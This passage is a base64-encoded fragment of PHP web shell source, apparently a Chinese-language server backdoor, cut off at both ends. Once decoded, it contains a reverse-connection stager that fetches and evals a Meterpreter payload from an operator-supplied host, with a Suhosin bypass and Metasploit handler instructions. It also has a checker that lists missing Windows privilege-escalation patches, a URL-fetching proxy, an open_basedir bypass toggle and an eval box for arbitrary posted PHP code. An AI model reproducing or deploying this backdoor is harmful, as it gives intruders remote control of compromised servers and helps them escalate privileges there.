ICgoJGYgPSAnc3RyZWFtX3NvY2tldF9jbGllbnQnKSAmJiBpc19jYWxsYWJsZSgkZikpIHsKICAgICAgICAgICAgICAgICRzID0gJGYoInRjcDovL3skaXB9OnskcG9ydH0iKTsKICAgICAgICAgICAgICAgICRzX3R5cGUgPSAnc3RyZWFtJzsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoISRzICYmICgkZiA9ICdmc29ja29wZW4nKSAmJiBpc19jYWxsYWJsZSgkZikpIHsKICAgICAgICAgICAgICAgICRzID0gJGYoJGlwLCAkcG9ydCk7CiAgICAgICAgICAgICAgICAkc190eXBlID0gJ3N0cmVhbSc7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCEkcyAmJiAoJGYgPSAnc29ja2V0X2NyZWF0ZScpICYmIGlzX2NhbGxhYmxlKCRmKSkgewogICAgICAgICAgICAgICAgJHMgPSAkZihBRl9JTkVULCBTT0NLX1NUUkVBTSwgU09MX1RDUCk7CiAgICAgICAgICAgICAgICAkcmVzID0gQHNvY2tldF9jb25uZWN0KCRzLCAkaXAsICRwb3J0KTsKICAgICAgICAgICAgICAgIGlmICghJHJlcykgewogICAgICAgICAgICAgICAgICAgIGRpZSgpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJHNfdHlwZSA9ICdzb2NrZXQnOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICghJHNfdHlwZSkgewogICAgICAgICAgICAgICAgZGllKCdubyBzb2NrZXQgZnVuY3MnKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoISRzKSB7CiAgICAgICAgICAgICAgICBkaWUoJ25vIHNvY2tldCcpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHN3aXRjaCAoJHNfdHlwZSkgewogICAgICAgICAgICAgICAgY2FzZSAnc3RyZWFtJzoKICAgICAgICAgICAgICAgICAgICAkbGVuID0gZnJlYWQoJHMsIDQpOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAnc29ja2V0JzoKICAgICAgICAgICAgICAgICAgICAkbGVuID0gc29ja2V0X3JlYWQoJHMsIDQpOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICghJGxlbikgewogICAgICAgICAgICAgICAgZGllKCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGEgPSB1bnBhY2soIk5sZW4iLCAkbGVuKTsKICAgICAgICAgICAgJGxlbiA9ICRhWydsZW4nXTsKICAgICAgICAgICAgJGIgPSAnJzsKICAgICAgICAgICAgd2hpbGUgKHN0cmxlbigkYikgPCAkbGVuKSB7CiAgICAgICAgICAgICAgICBzd2l0Y2ggKCRzX3R5cGUpIHsKICAgICAgICAgICAgICAgICAgICBjYXNlICdzdHJlYW0nOgogICAgICAgICAgICAgICAgICAgICAgICAkYiAuPSBmcmVhZCgkcywgJGxlbiAtIHN0cmxlbigkYikpOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlICdzb2NrZXQnOgogICAgICAgICAgICAgICAgICAgICAgICAkYiAuPSBzb2NrZXRfcmVhZCgkcywgJGxlbiAtIHN0cmxlbigkYikpOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICAkR0xPQkFMU1snbXNnc29jayddID0gJHM7CiAgICAgICAgICAgICRHTE9CQUxTWydtc2dzb2NrX3R5cGUnXSA9ICRzX3R5cGU7CiAgICAgICAgICAgIGlmIChleHRlbnNpb25fbG9hZGVkKCdzdWhvc2luJykgJiYgaW5pX2dldCgnc3Vob3Npbi5leGVjdXRvci5kaXNhYmxlX2V2YWwnKSkgewogICAgICAgICAgICAgICAgJHN1aG9zaW5fYnlwYXNzID0gY3JlYXRlX2Z1bmN0aW9uKCcnLCAkYik7CiAgICAgICAgICAgICAgICAkc3Vob3Npbl9ieXBhc3MoKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGV2YWwoJGIpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGRpZSgpOwogICAgICAgIH0KICAgICAgICBlbHNlewogICAgICAgICAgICBwcmludDw8PEVORAo8ZGl2IGNsYXNzPSJhY3RhbGwiPsq508O3vbeoo7o8YnI+CgkJCTEu19S8urf+zvHG99Do0qrT0LmrzfhpcKOssqKwstewusNtc2Y8YnI+CgkJCTIuyLu689a00NA8YnI+CgkJCW1zZjUgPiB1c2UgZXhwbG9pdC9tdWx0aS9oYW5kbGVyIDxicj4KCiAgICAgICAgICAgIG1zZjUgZXhwbG9pdChtdWx0aS9oYW5kbGVyKSA+IHNldCBwYXlsb2FkIHBocC9tZXRlcnByZXRlci9yZXZlcnNlX3RjcDxicj4KICAgICAgICAgICAgCiAgICAgICAgICAgIG1zZjUgZXhwbG9pdChtdWx0aS9oYW5kbGVyKSA+IHNldCBsaG9zdCAwLjAuMC4wPGJyPgogICAgICAgICAgICAKICAgICAgICAgICAgbXNmNSBleHBsb2l0KG11bHRpL2hhbmRsZXIpID4gc2V0IGxwb3J0IDEyMzQ1PGJyPgogICAgICAgICAgICAKICAgICAgICAgICAgbXNmNSBleHBsb2l0KG11bHRpL2hhbmRsZXIpID4gZXhwbG9pdDxicj4KICAgICAgICAgICAgCiAgICAgICAgICAgIDMu1NrPwre9zO66w7bU06ZpcLrNtsu/2gogICAgICAgICAgICAKPC9kaXY+Cjxmb3JtIG1ldGhvZD0iUE9TVCIgbmFtZT0ia2Zvcm0iIGlkPSJrZm9ybSI+CjxkaXYgY2xhc3M9ImFjdGFsbCI+xOO1xLXY1rcgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImlwIiB2YWx1ZT0ixOO1xGlwIiBzdHlsZT0id2lkdGg6NDAwcHgiPjwvZGl2Pgo8ZGl2IGNsYXNzPSJhY3RhbGwiPsGsvdO2y7/aIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJwb3J0IiB2YWx1ZT0iMTIzNDUiIHN0eWxlPSJ3aWR0aDo0MDBweCI+PC9kaXY+CjxkaXYgY2xhc3M9ImFjdGFsbCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ir+qyrzBrL3TIiBzdHlsZT0id2lkdGg6ODBweDsiPjwvZGl2PjwvZm9ybT4KRU5EOwogICAgICAgIH0KCiAgICAgICAgYnJlYWs7CgoKICAgIGNhc2UgInBhdGNoRXhwIjoKICAgICAgICAkc3lzdGVtSW5mbyA9IGFycmF5KAogICAgICAgICAgICBhcnJheSgiTVMxNy0wMTciLCAiS0I0MDEzMDgxIiwgIkdESVBhbGV0dGVPYmplY3RzTG9jYWxQcml2aWxlZ2VFc2NhbGF0aW9uIiwgIndpbmRvd3M3LzgiKSwKICAgICAgICAgICAgYXJyYXkoIk1TMTctMDEwIiwgIktCNDAxMzM4OSIsICJXaW5kb3dzS2VybmVsTW9kZURyaXZlcnMiLCAid2luZG93czcvMjAwOC8yMDAzL1hQIiksCiAgICAgICAgICAgIGFycmF5KCJNUzE2LTEzNSIsICJLQjMxOTkxMzUiLCAiV2luZG93c0tlcm5lbE1vZGVEcml2ZXJzIiwgIjIwMTYiKSwKICAgICAgICAgICAgYXJyYXkoIk1TMTYtMTExIiwgIktCMzE4Njk3MyIsICJrZXJuZWxhcGkiLCAiV2luZG93czEwMTA1ODYoMzIvNjQpLzguMSIpLAogICAgICAgICAgICBhcnJheSgiTVMxNi0wOTgiLCAiS0IzMTc4NDY2IiwgIktlcm5lbERyaXZlciIsICJXaW44LjEiKSwKICAgICAgICAgICAgYXJyYXkoIk1TMTYtMDc1IiwgIktCMzE2NDAzOCIsICJIb3RQb3RhdG8iLCAiMjAwMy8yMDA4LzcvOC8yMDEyIiksCiAgICAgICAgICAgIGFycmF5KCJNUzE2LTAzNCIsICJLQjMxNDMxNDUiLCAiS2VybmVsRHJpdmVyIiwgIjIwMDgvNy84LzEwLzIwMTIiKSwKICAgICAgICAgICAgYXJyYXkoIk1TMTYtMDMyIiwgIktCMzE0MzE0MSIsICJTZWNvbmRhcnlMb2dvbkhhbmRsZSIsICIyMDA4LzcvOC8xMC8yMDEyIiksCiAgICAgICAgICAgIGFycmF5KCJNUzE2LTAxNiIsICJLQjMxMzYwNDEiLCAiV2ViREFWIiwgIjIwMDgvVmlzdGEvNyIpLAogICAgICAgICAgICBhcnJheSgiTVMxNi0wMTQiLCAiS0IzMTM0MjI4IiwgInJlbW90ZWNvZGVleGVjdXRpb24iLCAiMjAwOC9WaXN0YS83IiksCiAgICAgICAgICAgIGFycmF5KCJNUzE1LTA5NyIsICJLQjMwODk2NTYiLCAicmVtb3RlY29kZWV4ZWN1dGlvbiIsICJ3aW44LjEvMjAxMiIpLAoJICAgICAgICBhcnJheSgiTVMxNS0wNzYiLCAiS0IzMDY3NTA1IiwgIlJQQyIsICIyMDAzLzIwMDgvNy84LzIwMTIiKSwKICAgICAgICAgICAgYXJyYXkoIk1TMTUtMDc3IiwgIktCMzA3NzY1NyIsICJBVE0iLCAiWFAvVmlzdGEvV2luNy9XaW44LzIwMDAvMjAwMy8yMDA4LzIwMTIiKSwKCSAgICAgICAgYXJyYXkoIk1TMTUtMDYxIiwgIktCMzA1NzgzOSIsICJLZXJuZWxEcml2ZXIiLCAiMjAwMy8yMDA4LzcvOC8yMDEyIiksCiAgICAgICAgICAgIGFycmF5KCJNUzE1LTA1MSIsICJLQjMwNTcxOTEiLCAiV2luZG93c0tlcm5lbE1vZGVEcml2ZXJzIiwgIjIwMDMvMjAwOC83LzgvMjAxMiIpLAogICAgICAgICAgICBhcnJheSgiTVMxNS0wMTUiLCAiS0IzMDMxNDMyIiwgIktlcm5lbERyaXZlciIsICJXaW43LzgvOC4xLzIwMTIvUlQvMjAxMlIyLzIwMDhSMiIpLAoJICAgICAgICBhcnJheSgiTVMxNS0wMTAiLCAiS0IzMDM2MjIwIiwgIktlcm5lbERyaXZlciIsICIyMDAzLzIwMDgvNy84IiksCiAgICAgICAgICAgIGFycmF5KCJNUzE1LTAwMSIsICJLQjMwMjMyNjYiLCAiS2VybmVsRHJpdmVyIiwgIjIwMDgvMjAxMi83LzgiKSwKICAgICAgICAgICAgYXJyYXkoIk1TMTQtMDcwIiwgIktCMjk4OTkzNSIsICJLZXJuZWxEcml2ZXIiLCAiMjAwMyIpLAogICAgICAgICAgICBhcnJheSgiTVMxNC0wNjgiLCAiS0IzMDExNzgwIiwgIkRvbWFpblByaXZpbGVnZUVzY2FsYXRpb24iLCAiMjAwMy8yMDA4LzIwMTIvNy84IiksCiAgICAgICAgICAgIGFycmF5KCJNUzE0LTA1OCIsICJLQjMwMDAwNjEiLCAiV2luMzJrLnN5cyIsICIyMDAzLzIwMDgvMjAxMi83LzgiKSwKICAgICAgICAgICAgYXJyYXkoIk1TMTQtMDY2IiwgIktCMjk5MjYxMSIsICJXaW5kb3dzU2NoYW5uZWxBbGxvd2luZ3JlbW90ZWNvZGVleGVjdXRpb24iLCAiVmlzdGFTUDIvN1NQMS84L1dpbmRvd3M4LjEvMjAwM1NQMi8yMDA4U1AyLzIwMDhSMlNQMS8yMDEyLzIwMTJSMi9XaW5kb3dzUlQvV2luZG93c1JUOC4xIiksCgkgICAgICAgIGFycmF5KCJNUzE0LTA0MCIsICJLQjI5NzU2ODQiLCAiQUZERHJpdmVyIiwgIjIwMDMvMjAwOC8yMDEyLzcvOCIpLAogICAgICAgICAgICBhcnJheSgiTVMxNC0wMDIiLCAiS0IyOTE0MzY4IiwgIk5EUHJveHkiLCAiMjAwMy9YUCIpLAoJICAgICAgICBhcnJheSgiTVMxMy0wNTMiLCAiS0IyODUwODUxIiwgIndpbjMyay5zeXMiLCAiWFAvVmlzdGEvMjAwMy8yMDA4L3dpbjciKSwKICAgICAgICAgICAgYXJyYXkoIk1TMTMtMDQ2IiwgIktCMjg0MDIyMSIsICJkeGdrcm5sLnN5cyIsICJWaXN0YS8yMDAzLzIwMDgvMjAxMi83IiksCgkgICAgICAgIGFycmF5KCJNUzEzLTAwNSIsICJLQjI3Nzg5MzAiLCAiS2VybmVsTW9kZURyaXZlciIsICIyMDAzLzIwMDgvMjAxMi93aW43LzgiKSwKICAgICAgICAgICAgYXJyYXkoIk1TMTItMDQyIiwgIktCMjk3MjYyMSIsICJTZXJ2aWNlQnVzIiwgIjIwMDgvMjAxMi93aW43IiksCiAgICAgICAgICAgIGFycmF5KCJNUzEyLTAyMCIsICJLQjI2NzEzODciLCAiUkRQIiwgIjIwMDMvMjAwOC83L1hQIiksCiAgICAgICAgICAgIGFycmF5KCJNUzExLTA4MCIsICJLQjI1OTI3OTkiLCAiQUZELnN5cyIsICIyMDAzL1hQIiksCiAgICAgICAgICAgIGFycmF5KCJNUzExLTA2MiIsICJLQjI1NjY0NTQiLCAiTkRJU1RBUEkiLCAiMjAwMy9YUCIpLAoJICAgICAgICBhcnJheSgiTVMxMS0wNDYiLCAiS0IyNTAzNjY1IiwgIkFGRC5zeXMiLCAiMjAwMy8yMDA4LzcvWFAiKSwKICAgICAgICAgICAgYXJyYXkoIk1TMTEtMDExIiwgIktCMjM5MzgwMiIsICJrZXJuZWxEcml2ZXIiLCAiMjAwMy8yMDA4LzcvWFAvVmlzdGEiKSwKICAgICAgICAgICAgYXJyYXkoIk1TMTAtMDkyIiwgIktCMjMwNTQyMCIsICJUYXNrU2NoZWR1bGVyIiwgIjIwMDgvNyIpLAogICAgICAgICAgICBhcnJheSgiTVMxMC0wNTkiLCAiS0I5ODI3OTkiLCAiQUNMLUNodXJyYXNraXRvIiwgIjIwMDgvNy9WaXN0YSIpLAogICAgICAgICAgICBhcnJheSgiTVMxMC0wNDgiLCAiS0IyMTYwMzI5IiwgIndpbjMyay5zeXMiLCAiWFBTUDImU1AzLzIwMDNTUDIvVmlzdGFTUDEmU1AyLzIwMDhHb2xkJlNQMiZSMi9XaW43IiksCiAgICAgICAgICAgIGFycmF5KCJNUzEwLTAxNSIsICJLQjk3NzE2NSIsICJLaVRyYXAwRCIsICIyMDAzLzIwMDgvNy9YUCIpLAogICAgICAgICAgICBhcnJheSgiTVMxMC0wMTIiLCAiS0I5NzE0NjgiLCAiU01CQ2xpZW50VHJhbnMyc3RhY2tvdmVyZmxvdyIsICJXaW5kb3dzNy8yMDA4UjIiKSwKCSAgICAgICAgYXJyYXkoIk1TMDktMDUwIiwgIktCOTc1NTE3IiwgIlJlbW90ZUNvZGVFeGVjdXRpb24iLCAiMjAwOC9WaXN0YSIpLAoJICAgICAgICBhcnJheSgiTVMwOS0wMjAiLCAiS0I5NzA0ODMiLCAiSUlTNi4wIiwgIklJUzUuMWFuZDYuMCIpLAoJICAgICAgICBhcnJheSgiTVMwOS0wMTIiLCAiS0I5NTk0NTQiLCAiQ2hpbWljaHVycmkiLCAiVmlzdGEvd2luNy8yMDA4L1Zpc3RhIiksCiAgICAgICAgICAgIGFycmF5KCJNUzA4LTA2OCIsICJLQjk1NzA5NyIsICJSZW1vdGVDb2RlRXhlY3V0aW9uIiwgIjIwMDAvWFAiKSwKCSAgICAgICAgYXJyYXkoIk1TMDgtMDY3IiwgIktCOTU4NjQ0IiwgIlJlbW90ZUNvZGVFeGVjdXRpb24iLCAiV2luZG93czIwMDAvWFAvU2VydmVyMjAwMy9WaXN0YS9TZXJ2ZXIyMDA4IiksCgkgICAgICAgIGFycmF5KCJNUzA4LTA2NiIsICJLQjk1NjgwMyIsICJBRkQuc3lzIiwgIldpbmRvd3MyMDAwL1hQL1NlcnZlcjIwMDMiKSwgYXJyYXkoIk1TMDgtMDI1IiwgIktCOTQxNjkzIiwgIldpbjMyLnN5cyIsICJYUC8yMDAzLzIwMDgvVmlzdGEiKSwKCSAgICAgICAgYXJyYXkoIk1TMDYtMDQwIiwgIktCOTIxODgzIiwgIlJlbW90ZUNvZGVFeGVjdXRpb24iLCAiMjAwMy94cC8yMDAwIiksCgkgICAgICAgIGFycmF5KCJNUzA1LTAzOSIsICJLQjg5OTU4OCIsICJQblBTZXJ2aWNlIiwgIldpbjlYL01FL05ULzIwMDAvWFAvMjAwMyIpLAoJICAgICAgICBhcnJheSgiTVMwMy0wMjYiLCAiS0I4MjM5ODAiLCAiQnVmZmVyT3ZlcnJ1bkluUlBDSW50ZXJmYWNlIiwiTlQvMjAwMC9YUC8yMDAzIiksCgkgICAgICAgIGFycmF5KCJDVkUtMjAyMC0xMDM0IiwgIktCNDU3NzAxNSxLQjQ1NzQ3MjcsS0I0NTcxNzU2LEtCNDU3MDMzMyxLQjQ1NzcwMzgsS0I0NTc3MDQ4LEtCNDU3NzA0OSxLQjQ1NzcwNjYsS0I0NTc3MDcxLEtCNDU3NzAzMixLQjQ1NzcwNDEiLCAibnRvc2tybmwuZXhlIiwgIjIwMTkvMjAxNi8yMDEyLzIwMDQvMTkwMy8xOTA5L1dpbjEwoaI4LjEiKSwKCSAgICAgICAgYXJyYXkoIkNWRS0yMDIwLTEwNTIiLCAiS0I0NTcxNzU2LEtCNDU3NzA0MSxLQjQ1NzcwMTUsS0I0NTc3MDY0LEtCNDU3NzA3MCxLQjQ1NzQ3MjcsS0I0NTcwMzMzLEtCNDU3NzA1MSxLQjQ1NzcwNTMsS0I0NTc3MDQ5LEtCNDU3NzA2NixLQjQ1NzcwNzEsS0I0NTc3MDM4LEtCNDU3NzA0OCxLQjQ1NzcwMzIiLCAic3NkcHNydi5kbCIsICIxOTA5LzIwMDQvMjAwOC8yMDEyLzIwMTYvMjAxOS9XaW4xMKGiN6GiOC4xIikpOwogICAgICAgIG9iX3N0YXJ0KCk7CgogICAgICAgIGlmIChzdHJwb3MoUEhQX09TLCAiV0lOIikgIT09IDApIHsKICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9IiNGRjAwMDAiPrWxx7Cy2df3z7XNs86qOicgLiBQSFBfT1MgLiAnLNTdsrvWp7PWPC9mb250Pic7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KCiAgICAgICAgZWNobyBFeGVjX1J1bigic3lzdGVtaW5mbyIpOwogICAgICAgICRkYXRhID0gb2JfZ2V0X2NvbnRlbnRzKCk7CiAgICAgICAgb2JfZW5kX2NsZWFuKCk7CgogICAgICAgIGlmICgkZGF0YSA9PSBudWxsIHx8IGVtcHR5KCRkYXRhKSkgewogICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+u/HIoc+1zbOyubahyqew3CHH68i3saPO3r3708O6r8r9oaM8L2ZvbnQ+JzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQoKICAgICAgICBwcmludF9yKAogICAgICAgICAgICA8PDxFT0YKPGgzPjxmb250IGNvbG9yPSIjRkYwMDAwIj7XotLiLLK/t9a9z9DCz7XNs9PJ09rX1LT4srm2oSzL+dLUsru74c/Uyr7S0bCy17C1xL3PwM+yubahLLTLveG5+732uamyzr+8PC9mb250PjwvaDM+Cjx0YWJsZSBib3JkZXI9IjEiPgo8dHI+Cjx0aD7Cqba0seC6xTwvdGg+PHRoPrK5tqG6xTwvdGg+PHRoPsPoyvY8L3RoPjx0aD7TsM/st7bOpzwvdGg+CjwvdHI+CkVPRgogICAgICAgICk7CgogICAgICAgIGZvciAoJGkgPSAwIDsgJGkgPD0gY291bnQoJHN5c3RlbUluZm8pLTE7ICRpKyspewogICAgICAgICAgICBpZiAoc3RycG9zKCRzeXN0ZW1JbmZvWyRpXVsxXSwnLCcpICE9PSBmYWxzZSl7CiAgICAgICAgICAgICAgICAkcGF0Y2hlcyA9IGV4cGxvZGUoJywnLCRzeXN0ZW1JbmZvWyRpXVsxXSk7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkcGF0Y2hlcyBhcyAkcGF0Y2gpewogICAgICAgICAgICAgICAgICAgIGlmIChzdHJwb3MoJGRhdGEsICRwYXRjaCkgPT09IGZhbHNlKXsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHRyPjx0ZCBhbGlnbj0nY2VudGVyJz4iLiRzeXN0ZW1JbmZvWyRpXVswXS4iPC90ZD48dGQgYWxpZ249J2NlbnRlcic+Ii4kcGF0Y2guIjwvdGQ+PHRkIGFsaWduPSdjZW50ZXInPiIuJHN5c3RlbUluZm9bJGldWzJdLiI8L3RkPjx0ZCBhbGlnbj0nY2VudGVyJz4iLiRzeXN0ZW1JbmZvWyRpXVszXS4iPC90ZD48L3RyPiI7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlewogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkZGF0YSwgJHN5c3RlbUluZm9bJGldWzFdKSA9PT0gZmFsc2UpewogICAgICAgICAgICAgICAgICAgIGVjaG8gIjx0cj48dGQgYWxpZ249J2NlbnRlcic+Ii4kc3lzdGVtSW5mb1skaV1bMF0uIjwvdGQ+PHRkIGFsaWduPSdjZW50ZXInPiIuJHN5c3RlbUluZm9bJGldWzFdLiI8L3RkPjx0ZCBhbGlnbj0nY2VudGVyJz4iLiRzeXN0ZW1JbmZvWyRpXVsyXS4iPC90ZD48dGQgYWxpZ249J2NlbnRlcic+Ii4kc3lzdGVtSW5mb1skaV1bM10uIjwvdGQ+PC90cj4iOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGVjaG8gIjwvdGFibGU+IjsKICAgICAgICBicmVhazsKCiAgICBjYXNlICJnZXRjb2RlIjoKICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWyd1cmwnXSkpIHsKICAgICAgICAgICAgJHByb3h5Y29udGVudHMgPSBpY29udigiVVRGLTgiLCAiZ2JrLy9UUkFOU0xJVCIsIEBHZXRIdG1sKCRfUE9TVFsndXJsJ10pKTsKICAgICAgICAgICAgZWNobyAoJHByb3h5Y29udGVudHMpID8gJHByb3h5Y29udGVudHMgOiAiPGJvZHkgYmdjb2xvcj1cIiNGNUY1RjVcIiBzdHlsZT1cImZvbnQtc2l6ZTogMTJweDtcIj48Y2VudGVyPjxicj48cD48Yj678cihIFVSTCDE2sjdyqew3DwvYj48L3A+PC9jZW50ZXI+PC9ib2R5PiI7CiAgICAgICAgICAgIGV4aXQ7CiAgICAgICAgfQogICAgICAgIHByaW50PDw8RU5ECjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGJnY29sb3I9IiNmZmZmZmYiPgogPGZvcm0gbWV0aG9kPSJQT1NUIiB0YXJnZXQ9InByb3h5ZnJhbWUiPgogIDx0ciBjbGFzcz0iZmlyc3RhbHQiPgoJPHRkIGFsaWduPSJjZW50ZXIiPjxiPtTaz9+0+sDtPC9iPjwvdGQ+CiAgPC90cj4KICA8dHIgY2xhc3M9InNlY29uZGFsdCI+Cgk8dGQgYWxpZ249ImNlbnRlciIgID48YnI+PHVsPjxsaT7Tw7G+uabE3L32yrXP1rzytaW1xCBIVFRQILT6wO0ssru74c/Uyr7KudPDz+C21MK3vra1xM28xqyhosG0vdO8sENTU9H5yr2x7S48L2xpPjxsaT7Tw7G+uabE3L/J0tTNqLn9sb63/s7xxvfkr8DAxL+x6lVSTCy1q7K71qez1iBTUUwgSW5qZWN0aW9uIMy9suLS1LywxLPQqczYyuLX1rf7LjwvbGk+PGxpPtPDsb65psTc5K/AwLXEIFVSTCzU2sS/serW97v6yc/B9M/CtcRJULzHwrzKxyA6IHskX1NFUlZFUlsnU0VSVkVSX0FERFInXX08L2xpPjwvdWw+PC90ZD4KICA8L3RyPgogIDx0ciBjbGFzcz0iZmlyc3RhbHQiPgoJPHRkIGFsaWduPSJjZW50ZXIiIGhlaWdodD00MCAgPlVSTDogPGlucHV0IG5hbWU9InVybCIgdmFsdWU9Imh0dHBzOi8vYmFpZHUuY29tIiB0eXBlPSJ0ZXh0IiAgY2xhc3M9ImlucHV0IiBzaXplPSIxMDAiID4KIDxpbnB1dCBuYW1lPSIiIHZhbHVlPSLkr8DAIiB0eXBlPSJzdWJtaXQiICBjbGFzcz0iaW5wdXQiIHNpemU9IjMwIiA+CjwvdGQ+CiAgPC90cj4KICA8dHIgY2xhc3M9InNlY29uZGFsdCI+Cgk8dGQgYWxpZ249ImNlbnRlciIgID48aWZyYW1lIG5hbWU9InByb3h5ZnJhbWUiIGZyYW1lYm9yZGVyPSIwIiB3aWR0aD0iNzY1IiBoZWlnaHQ9IjQwMCIgbWFyZ2luaGVpZ2h0PSIwIiBtYXJnaW53aWR0aD0iMCIgc2Nyb2xsaW5nPSJhdXRvIiBzcmM9ImFib3V0OmJsYW5rIj48L2lmcmFtZT48L3RkPgogIDwvdHI+CjwvZm9ybT48L3RhYmxlPgpFTkQ7CiAgICAgICAgYnJlYWs7CiAgICBjYXNlICJieXBhc3NPcGVuQmFzZWRpciI6CiAgICAgICAgJGluZm8gPSBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTsKICAgICAgICAkcGx1Z2luU3RhdHVzID0gIs60v6rG9CI7CiAgICAgICAgJGRpclN0YXR1cyA9IGVtcHR5KCRpbmZvKT8izt60y8/e1sYszt7Q6Mb008OxvrLlvP4iOiRpbmZvOwogICAgICAgIGlmKGlzc2V0KCRfU0VTU0lPTlsnYnlwYXNzX29wZW5fYmFzZWRpciddKSkKICAgICAgICAgICAgJHBsdWdpblN0YXR1cyA9ICLS0b+qxvQiOwoKICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWyd0dXJuX29uJ10pKSB7CiAgICAgICAgICAgICRfU0VTU0lPTlsnYnlwYXNzX29wZW5fYmFzZWRpciddID0gdHJ1ZTsKICAgICAgICAgICAgJHBsdWdpblN0YXR1cyA9ICLS0b+qxvQiOwogICAgICAgIH0KCiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsndHVybl9vZmYnXSkpIHsKICAgICAgICAgICAgdW5zZXQoJF9TRVNTSU9OWydieXBhc3Nfb3Blbl9iYXNlZGlyJ10pOwogICAgICAgICAgICAkcGx1Z2luU3RhdHVzID0gIs60v6rG9CI7CiAgICAgICAgfQoKICAgICAgICBwcmludF9yKDw8PEVPRgo8ZGl2IGNsYXNzPSJhY3RhbGwiPsq508O3vbeoo7o8YnI+CrG+suW8/tPDwLTIxrn9cGhwt8C/58S/wrzP3tbGPGJyPjxicj4KtbHHsG9wZW4gYmFzZWRpcte0zKw6JGRpclN0YXR1czxicj4KtbHHsLLlvP7XtMysOiRwbHVnaW5TdGF0dXM8YnI+PGJyPgo8Zm9ybSBtZXRob2Q9IlBPU1QiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJ0dXJuX29uIiB2YWx1ZT0iv6rG9CIgc3R5bGU9IndpZHRoOjUwcHg7Ij48YnI+CjwvZm9ybT4KPGJyPiAgICAgICAgIAo8Zm9ybSBtZXRob2Q9IlBPU1QiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJ0dXJuX29mZiIgdmFsdWU9IrnYsdUiIHN0eWxlPSJ3aWR0aDo1MHB4OyI+ICAgCjwvZm9ybT4KPC9kaXY+CkVPRgopOwogICAgICAgIGJyZWFrOwoKICAgIGNhc2UgInBocGNvZGUiOgogICAgICAgICRwaHBjb2RlID0gaXNzZXQoJF9QT1NUWydwaHBjb2RlJ10pID8gJF9QT1NUWydwaHBjb2RlJ10gOiAicGhwaW5mbygpOyI7CiAgICAgICAgaWYgKCRwaHBjb2RlICE9ICdwaHBpbmZvKCk7JykgJHBocGNvZGUgPSBodG1sc3BlY2lhbGNoYXJzKGJhc2U2NF9kZWNvZGUoJHBocGNvZGUpKTsKICAgICAgICBlY2hvICc8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4nOwogICAgICAgIGh0bWxfYmFzZSgpOwogICAgICAgIGVjaG8gJ2Z1bmN0aW9uIFN1Ym1pdFVybCgpewoJCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ3BocGNvZGVcJykudmFsdWUgPSBiYXNlNjRlbmNvZGUoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCdwaHBjb2RlXCcpLnZhbHVlKTsKCQkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCdzZW5kY29kZVwnKS5zdWJtaXQoKTsKCX08L3NjcmlwdD48dHI+PHRkPjxmb3JtIG1ldGhvZD0iUE9TVCIgaWQ9InNlbmRjb2RlIiA+srvTw9C0Jmx0Oz8gPyZndDux6sepLLTLuabE3NPFu6/KudPDQkFTRTY0vNPD3LSry82jrLfA1rm28dLitPrC67G7wLmjrNPDwcu+zdaqtcCjqNCh0KHPuL3ao6zXoraos8m+zaOpPGJyPjxicj48dGV4dGFyZWEgQ09MUz0iMTIwIiBST1dTPSIzNSIgbmFtZT0icGhwY29kZSIgaWQ9InBocGNvZGUiPicgLiAkcGhwY29kZSAuICc8L3RleHRhcmVhPjxicj48YnI+PGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9Ita00NAiIG9uY2xpY2s9IlN1Ym1pdFVybCgpOyIgc3R5bGU9IndpZHRoOjgwcHg7Ij4nOwogICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydwaHBjb2RlJ10pKSB7CiAgICAgICAgICAgIGVjaG8gIjxicj48YnI+IjsKICAgICAgICAgICAgZXZhbChzdHJpcHNsYXNoZXMoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ3BocGNvZGUnXSkpKTsKICAgICAgICB9CiAgICAgICAgaHRtbF9u